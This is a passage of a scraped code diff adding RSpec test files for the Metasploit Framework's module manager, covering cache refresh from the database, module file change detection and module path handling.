||||||
|
module_manager.send(:loaders).each do |loader|
|
||||||
|
loader.stub(:load_module => module_loaded)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with false' do
|
||||||
|
let(:module_loaded) do
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
it { should be_false }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with true' do
|
||||||
|
let(:module_loaded) do
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
it { should be_true }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without module info in cache' do
|
||||||
|
let(:module_info_by_path) do
|
||||||
|
{}
|
||||||
|
end
|
||||||
|
|
||||||
|
it { should be_false }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context '#refresh_cache_from_module_files' do
|
||||||
|
before(:each) do
|
||||||
|
module_manager.stub(:framework_migrated? => framework_migrated?)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with framework migrated' do
|
||||||
|
let(:framework_migrated?) do
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with module argument' do
|
||||||
|
def refresh_cache_from_module_files
|
||||||
|
module_manager.refresh_cache_from_module_files(module_class_or_instance)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:module_class_or_instance) do
|
||||||
|
Class.new(Msf::Module)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do
|
||||||
|
framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered
|
||||||
|
module_manager.should_receive(:refresh_cache_from_database).ordered
|
||||||
|
|
||||||
|
refresh_cache_from_module_files
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without module argument' do
|
||||||
|
def refresh_cache_from_module_files
|
||||||
|
module_manager.refresh_cache_from_module_files
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should update database and then update in-memory cache from the database for all modules' do
|
||||||
|
framework.db.should_receive(:update_all_module_details).ordered
|
||||||
|
module_manager.should_receive(:refresh_cache_from_database)
|
||||||
|
|
||||||
|
refresh_cache_from_module_files
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without framework migrated' do
|
||||||
|
def refresh_cache_from_module_files
|
||||||
|
module_manager.refresh_cache_from_module_files
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:framework_migrated?) do
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should not call Msf::DBManager#update_module_details' do
|
||||||
|
framework.db.should_not_receive(:update_module_details)
|
||||||
|
|
||||||
|
refresh_cache_from_module_files
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should not call Msf::DBManager#update_all_module_details' do
|
||||||
|
framework.db.should_not_receive(:update_all_module_details)
|
||||||
|
|
||||||
|
refresh_cache_from_module_files
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should not call #refresh_cache_from_database' do
|
||||||
|
module_manager.should_not_receive(:refresh_cache_from_database)
|
||||||
|
|
||||||
|
refresh_cache_from_module_files
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context '#refresh_cache_from_database' do
|
||||||
|
def refresh_cache_from_database
|
||||||
|
module_manager.refresh_cache_from_database
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should call #module_info_by_path_from_database!' do
|
||||||
|
module_manager.should_receive(:module_info_by_path_from_database!)
|
||||||
|
|
||||||
|
refresh_cache_from_database
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context '#framework_migrated?' do
|
||||||
|
subject(:framework_migrated?) do
|
||||||
|
module_manager.send(:framework_migrated?)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with framework database' do
|
||||||
|
before(:each) do
|
||||||
|
framework.db.stub(:migrated => migrated)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with migrated' do
|
||||||
|
let(:migrated) do
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
it { should be_true }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without migrated' do
|
||||||
|
let(:migrated) do
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
it { should be_false }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without framework database' do
|
||||||
|
before(:each) do
|
||||||
|
framework.stub(:db => nil)
|
||||||
|
end
|
||||||
|
|
||||||
|
it { should be_false }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context '#module_info_by_path' do
|
||||||
|
it { should respond_to(:module_info_by_path) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context '#module_info_by_path=' do
|
||||||
|
it { should respond_to(:module_info_by_path=) }
|
||||||
|
end
|
||||||
|
|
||||||
|
context '#module_info_by_path_from_database!' do
|
||||||
|
def module_info_by_path
|
||||||
|
module_manager.send(:module_info_by_path)
|
||||||
|
end
|
||||||
|
|
||||||
|
def module_info_by_path_from_database!
|
||||||
|
module_manager.send(:module_info_by_path_from_database!)
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
module_manager.stub(:framework_migrated? => framework_migrated?)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with framework migrated' do
|
||||||
|
include_context 'DatabaseCleaner'
|
||||||
|
|
||||||
|
let(:framework_migrated?) do
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
configurations = Metasploit::Framework::Database.configurations
|
||||||
|
spec = configurations[Metasploit::Framework.env]
|
||||||
|
|
||||||
|
# Need to connect or ActiveRecord::Base.connection_pool will raise an
|
||||||
|
# error.
|
||||||
|
framework.db.connect(spec)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should call ActiveRecord::Base.connection_pool.with_connection' do
|
||||||
|
# 1st is from with_established_connection
|
||||||
|
# 2nd is from module_info_by_path_from_database!
|
||||||
|
ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times
|
||||||
|
|
||||||
|
module_info_by_path_from_database!
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do
|
||||||
|
Mdm::Module::Detail.should_receive(:find_each)
|
||||||
|
|
||||||
|
module_info_by_path_from_database!
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with database cache' do
|
||||||
|
let(:parent_path) do
|
||||||
|
parent_pathname.to_path
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:parent_pathname) do
|
||||||
|
Metasploit::Framework.root.join('modules')
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:path) do
|
||||||
|
pathname.to_path
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:pathname) do
|
||||||
|
parent_pathname.join(
|
||||||
|
'exploits',
|
||||||
|
"#{reference_name}.rb"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:pathname_modification_time) do
|
||||||
|
pathname.mtime
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:type) do
|
||||||
|
'exploit'
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:reference_name) do
|
||||||
|
'windows/smb/ms08_067_netapi'
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Let!s (let + before(:each))
|
||||||
|
#
|
||||||
|
|
||||||
|
let!(:mdm_module_detail) do
|
||||||
|
FactoryGirl.create(:mdm_module_detail,
|
||||||
|
:file => path,
|
||||||
|
:mtype => type,
|
||||||
|
:mtime => pathname.mtime,
|
||||||
|
:refname => reference_name
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should create cache entry for path' do
|
||||||
|
module_info_by_path_from_database!
|
||||||
|
|
||||||
|
module_info_by_path.should have_key(path)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do
|
||||||
|
Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original
|
||||||
|
|
||||||
|
module_info_by_path_from_database!
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'cache entry' do
|
||||||
|
subject(:cache_entry) do
|
||||||
|
module_info_by_path[path]
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
module_info_by_path_from_database!
|
||||||
|
end
|
||||||
|
|
||||||
|
its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) }
|
||||||
|
its([:parent_path]) { should == parent_path }
|
||||||
|
its([:reference_name]) { should == reference_name }
|
||||||
|
its([:type]) { should == type }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'typed module set' do
|
||||||
|
let(:typed_module_set) do
|
||||||
|
module_manager.module_set(type)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with reference_name' do
|
||||||
|
before(:each) do
|
||||||
|
typed_module_set[reference_name] = mock('Msf::Module')
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should not change reference_name value' do
|
||||||
|
expect {
|
||||||
|
module_info_by_path_from_database!
|
||||||
|
}.to_not change {
|
||||||
|
typed_module_set[reference_name]
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without reference_name' do
|
||||||
|
it 'should set reference_name value to Msf::SymbolicModule' do
|
||||||
|
module_info_by_path_from_database!
|
||||||
|
|
||||||
|
# have to use fetch because [] will trigger de-symbolization and
|
||||||
|
# instantiation.
|
||||||
|
typed_module_set.fetch(reference_name).should == Msf::SymbolicModule
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without framework migrated' do
|
||||||
|
let(:framework_migrated?) do
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) }
|
||||||
|
|
||||||
|
it 'should reset #module_info_by_path' do
|
||||||
|
# pre-fill module_info_by_path so change can be detected
|
||||||
|
module_manager.send(:module_info_by_path=, mock('In-memory Cache'))
|
||||||
|
|
||||||
|
module_info_by_path_from_database!
|
||||||
|
|
||||||
|
module_info_by_path.should be_empty
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,79 @@
|
||||||
|
shared_examples_for 'Msf::ModuleManager::Loading' do
|
||||||
|
context '#file_changed?' do
|
||||||
|
let(:module_basename) do
|
||||||
|
[basename_prefix, '.rb']
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return true if module info is not cached' do
|
||||||
|
Tempfile.open(module_basename) do |tempfile|
|
||||||
|
module_path = tempfile.path
|
||||||
|
|
||||||
|
subject.send(:module_info_by_path)[module_path].should be_nil
|
||||||
|
subject.file_changed?(module_path).should be_true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do
|
||||||
|
Tempfile.open(module_basename) do |tempfile|
|
||||||
|
module_path = tempfile.path
|
||||||
|
modification_time = File.mtime(module_path)
|
||||||
|
|
||||||
|
subject.send(:module_info_by_path)[module_path] = {
|
||||||
|
# :modification_time must match so that it is the :type that is causing the `true` and not the
|
||||||
|
# :modification_time causing the `true`.
|
||||||
|
:modification_time => modification_time,
|
||||||
|
:type => Msf::MODULE_PAYLOAD
|
||||||
|
}
|
||||||
|
|
||||||
|
subject.file_changed?(module_path).should be_true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with cache module info and not a payload module' do
|
||||||
|
it 'should return true if the file does not exist on the file system' do
|
||||||
|
tempfile = Tempfile.new(module_basename)
|
||||||
|
module_path = tempfile.path
|
||||||
|
modification_time = File.mtime(module_path).to_i
|
||||||
|
|
||||||
|
subject.send(:module_info_by_path)[module_path] = {
|
||||||
|
:modification_time => modification_time
|
||||||
|
}
|
||||||
|
|
||||||
|
tempfile.unlink
|
||||||
|
|
||||||
|
File.exist?(module_path).should be_false
|
||||||
|
subject.file_changed?(module_path).should be_true
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return true if modification time does not match the cached modification time' do
|
||||||
|
Tempfile.open(module_basename) do |tempfile|
|
||||||
|
module_path = tempfile.path
|
||||||
|
modification_time = File.mtime(module_path).to_i
|
||||||
|
cached_modification_time = (modification_time * rand).to_i
|
||||||
|
|
||||||
|
subject.send(:module_info_by_path)[module_path] = {
|
||||||
|
:modification_time => cached_modification_time
|
||||||
|
}
|
||||||
|
|
||||||
|
cached_modification_time.should_not == modification_time
|
||||||
|
subject.file_changed?(module_path).should be_true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should return false if modification time does match the cached modification time' do
|
||||||
|
Tempfile.open(module_basename) do |tempfile|
|
||||||
|
module_path = tempfile.path
|
||||||
|
modification_time = File.mtime(module_path).to_i
|
||||||
|
cached_modification_time = modification_time
|
||||||
|
|
||||||
|
subject.send(:module_info_by_path)[module_path] = {
|
||||||
|
:modification_time => cached_modification_time
|
||||||
|
}
|
||||||
|
|
||||||
|
cached_modification_time.should == modification_time
|
||||||
|
subject.file_changed?(module_path).should be_false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,77 @@
|
||||||
|
shared_examples_for 'Msf::ModuleManager::ModulePaths' do
|
||||||
|
def module_paths
|
||||||
|
module_manager.send(:module_paths)
|
||||||
|
end
|
||||||
|
|
||||||
|
context '#add_module_path' do
|
||||||
|
it 'should strip trailing File::SEPARATOR from the path' do
|
||||||
|
Dir.mktmpdir do |path|
|
||||||
|
path_with_trailing_separator = path + File::SEPARATOR
|
||||||
|
module_manager.add_module_path(path_with_trailing_separator)
|
||||||
|
|
||||||
|
module_paths.should_not include(path_with_trailing_separator)
|
||||||
|
module_paths.should include(path)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with Fastlib archive' do
|
||||||
|
it 'should raise an ArgumentError unless the File exists' do
|
||||||
|
file = Tempfile.new(archive_basename)
|
||||||
|
# unlink will clear path, so copy it to a variable
|
||||||
|
path = file.path
|
||||||
|
file.unlink
|
||||||
|
|
||||||
|
File.exist?(path).should be_false
|
||||||
|
|
||||||
|
expect {
|
||||||
|
module_manager.add_module_path(path)
|
||||||
|
}.to raise_error(ArgumentError, "The path supplied does not exist")
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'should add the path to #module_paths if the File exists' do
|
||||||
|
Tempfile.open(archive_basename) do |temporary_file|
|
||||||
|
path = temporary_file.path
|
||||||
|
|
||||||
|
File.exist?(path).should be_true
|
||||||
|
|
||||||
|
module_manager.add_module_path(path)
|
||||||
|
|
||||||
|
module_paths.should include(path)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with directory' do
|
||||||
|
it 'should add path to #module_paths' do
|
||||||
|
Dir.mktmpdir do |path|
|
||||||
|
module_manager.add_module_path(path)
|
||||||
|
|
||||||
|
module_paths.should include(path)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'containing Fastlib archives' do
|
||||||
|
it 'should add each Fastlib archive to #module_paths' do
|
||||||
|
Dir.mktmpdir do |directory|
|
||||||
|
Tempfile.open(archive_basename, directory) do |file|
|
||||||
|
module_manager.add_module_path(directory)
|
||||||
|
|
||||||
|
module_paths.should include(directory)
|
||||||
|
module_paths.should include(file.path)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with other file' do
|
||||||
|
it 'should raise ArgumentError' do
|
||||||
|
Tempfile.open(basename_prefix) do |file|
|
||||||
|
expect {
|
||||||
|
subject.add_module_path(file.path)
|
||||||
|
}.to raise_error(ArgumentError, 'The path supplied is not a valid directory.')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue